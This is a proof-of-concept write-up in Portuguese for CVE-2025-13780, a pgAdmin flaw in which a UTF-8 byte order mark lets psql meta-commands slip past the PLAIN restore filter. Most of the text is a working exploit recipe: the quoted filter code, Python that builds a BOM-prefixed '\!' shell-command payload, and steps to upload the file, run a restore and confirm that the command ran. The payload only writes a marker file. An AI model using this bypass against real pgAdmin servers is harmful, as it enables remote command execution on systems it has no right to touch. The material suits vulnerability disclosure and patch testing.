
Prova de conceito para CVE-2025-13780
O filtro de meta-commands PLAIN restore introduzido no pgAdmin como parte da correção para o Issue 9320 não detecta meta-commands quando um arquivo SQL começa com um Byte Order Mark UTF-8 (EF BB BF) ou outras sequências especiais. O filtro implementado usa a função has_meta_commands(), que examina bytes brutos usando uma expressão regular. A regex não trata os bytes como ignoráveis, então meta-commands como ! permanecem indetectados. Quando o pgAdmin invoca psql com --file, o psql remove os bytes e executa o comando. Isso pode resultar em execução remota de comandos durante uma operação de restore.
Esta falha contorna o patch introduzido no commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)
Confirmadamente afetadas:
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)Provavelmente afetadas:
has_meta_commands() corrigida do commit 1d397395f75320ca1d4ed5e9ca721c603415e836(\restrict), portanto meta-commands agora são bloqueados pelo próprio psqlweb/pgadmin/tools/restore/__init__.py has_meta_commands()Código relevante (da versão corrigida):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
Etapa 1: Crie um arquivo SQL começando com um BOM e um meta-command.
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
Etapa 2: Verifique o BOM:
xxd bypass_bom.sql | head -1
Esperado:
ef bb bf 5c 21 ...
Etapa 3: Coloque o arquivo no armazenamento do pgAdmin:
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
Etapa 4: No pgAdmin: Restore -> Formato: PLAIN -> selecione bypass_bom.sql -> Executar
Etapa 5: Verifique a execução:
ls /tmp/bom_ran
O arquivo de controle sem BOM é corretamente bloqueado.
Payload com prefixo BOM:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
Payload de controle:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;